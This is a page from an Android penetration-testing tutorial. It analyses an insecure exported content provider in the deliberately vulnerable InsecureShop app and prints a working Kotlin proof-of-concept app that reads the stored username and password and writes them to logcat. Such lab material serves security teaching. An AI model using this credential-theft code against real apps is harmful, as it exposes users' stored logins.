πŸ’₯
Android Penetration Testing
WEBSITEGITHUBLINKDININSTAGRAM
  • πŸ•΅οΈβ€β™‚οΈOWASP Mobile Top 10
    • OWASP Mobile Top 10 2014
    • OWASP Mobile Top 10 2016
    • OWASP Mobile Top 10 2023
      • Insecure Authentication/Authorization
      • Insecure Communication
      • Inadequate Supply Chain Security
      • Inadequate Privacy Controls
      • Insufficient Input/Output Validation
      • Security Misconfiguration
      • Insufficient Cryptography
      • Insecure Data Storage
      • Insufficient Binary Protections
  • "Let's Dive into the Theory"
  • 😍Theory of Android Penetration Testing
    • πŸ‘‘Basic - Advance
    • πŸ’₯Professional - Expert
    • 🟧Types of Mobile Applications
    • 🟣Android Architecture
    • 🟦Android Show
    • πŸš€Secrets of Android App Creation
    • ♦️Android's Data Treasure Chests
    • πŸ›‘Mysterious .apk File:
    • 🏹Android Pentesting with Cutting-Edge Tools
    • ⬛Android File System
  • "Let's Dive into the Practical"
  • πŸ˜‡Vulnerable Android Application with Practical.
    • πŸ˜‰InsecureShop
      • 😁Vulnerability #1: Insecure Logging
      • πŸ˜‚Vulnerability #2: Hardcoded Credentials
      • πŸ˜†Vulnerability #3: Insecure Data Storage
      • 🀣Vulnerability #4: Lack of SSL Certificate Validation
      • 😍Vulnerability #5: Insufficient URL Validation
      • πŸ˜„Vulnerability #6: Weak Host Validation
      • 😘Vulnerability #7: AWS Cognito Misconfiguration
      • πŸ˜ƒVulnerability #8: Insecure Broadcast Receiver
      • πŸ˜›Vulnerability #9: Use of Implicit intent to send a broadcast with sensitive data
      • 😎Vulnerability #10: Using Components with Known Vulnerabilities
      • 😜Vulnerability #11: Intent Redirection (Access to Protected Components)
      • πŸ˜‚Vulnerability #12: Insecure Webview Properties Enabled
      • πŸ˜†Vulnerability #13: Intercepting Implicit intent to load arbitrary URL
      • πŸ™ƒVulnerability #14: Insecure Content Provider
      • πŸ₯°Reading Material
  • "Let's Dive into the Interview Questions"
  • 😎Important Interview Questions for Android Application Penetration Testing.
    • πŸ₯‡Part - 1
    • πŸ₯ˆPart - 2
    • πŸ₯‰Part - 3
    • πŸ…Part - 4
    • πŸŽ–οΈPart - 5
  • 😘Notes
    • Tools to use
    • Important Reports from Hackerone
Powered by GitBook
On this page
  1. Vulnerable Android Application with Practical.
  2. InsecureShop

Vulnerability #14: Insecure Content Provider

PreviousVulnerability #13: Intercepting Implicit intent to load arbitrary URLNextReading Material

Last updated 1 year ago

In Android, Content Providers are a very important component that serves the purpose of a relational database to store the data of applications. Insecure implementations of an application’s content provider could be a high-risk attack vector which could allow malicious applications to freely leak/retrieve data from it. While viewing the manifest for insecureshop, the content provider declaration sticks out as a red flag due to the exported attribute:

<provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" 
          android:readPermission="com.insecureshop.permission.READ" 
          android:exported="true" 
          android:authorities="com.insecureshop.provider"/>

This means that any application on the device can interact with the provider with the proper permissions (com.insecureshop.permission.READ). Next, we’ll be looking at the source code for :

class InsecureShopProvider : ContentProvider() {

    companion object {
        var uriMatcher: UriMatcher? = null
        const val URI_CODE: Int = 100
    }

    override fun onCreate(): Boolean {
        uriMatcher = UriMatcher(UriMatcher.NO_MATCH)
        uriMatcher?.addURI("com.insecureshop.provider", "insecure", URI_CODE)
        return true
    }

within the onCreate method, we can see that the uriMatcher adds a URI which should be used to connect with the provider. In this instance, we will be using the following URI: content://com.insecureshop.provider/insecure

 override fun query(
        uri: Uri,
        projection: Array<out String>?,
        selection: String?,
        selectionArgs: Array<out String>?,
        sortOrder: String?
    ): Cursor? {
        if (uriMatcher?.match(uri) == URI_CODE) {
            val cursor = MatrixCursor(arrayOf("username", "password"))
            cursor.addRow(arrayOf<String>(Prefs.username!!, Prefs.password!!))
            return cursor
        }
        return null
    }

    override fun getType(uri: Uri): String? {
        return null
    }

    override fun insert(uri: Uri, values: ContentValues?): Uri? {
        return null
    }

    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<out String>?): Int {
        return 0
    }

    override fun update(
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<out String>?
    ): Int {
        return 0
    }

we can see that the query method is the only one with some code/logic on it. It creates a cursor with the username and password columns then populates them with the credentials from shared preferences.

AndroidManifest.xml

<uses-permission android:name="com.insecureshop.permission.READ"/>

In order to exploit this, we’ll need to use the required permissions for the provider. After which, we can use a content resolver to query data from the content provider URI that we provide. If the query is succesful, we write the results into logcat.

MainActivity.kt

    @SuppressLint("Range")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // connect with the content provider
        val shopProviderURI = "content://com.insecureshop.provider/insecure"
        val cursor = contentResolver.query(Uri.parse((shopProviderURI)), null, null, null, null)
        when (cursor?.count) {
            0 -> { Log.d("SHOPEXPLOIT", "Query returned 0. Something must be wrong")}
            null -> { Log.d("SHOPEXPLOIT", "Query returned null. Something is definitely wrong")}
            else -> {
                cursor.apply {
                    while (moveToNext()) {
                        val username = getString(getColumnIndex("username"))
                        val password = getString(getColumnIndex("password"))
                        Log.d("SHOPEXPLOIT", "exfiltrated creds from shop provider: $username, $password")
                    }
                }
            }
        }
        cursor?.close()
    }

πŸ˜‡
πŸ˜‰
πŸ™ƒ
com.insecureshop.contentProvider.InsecureShopProvider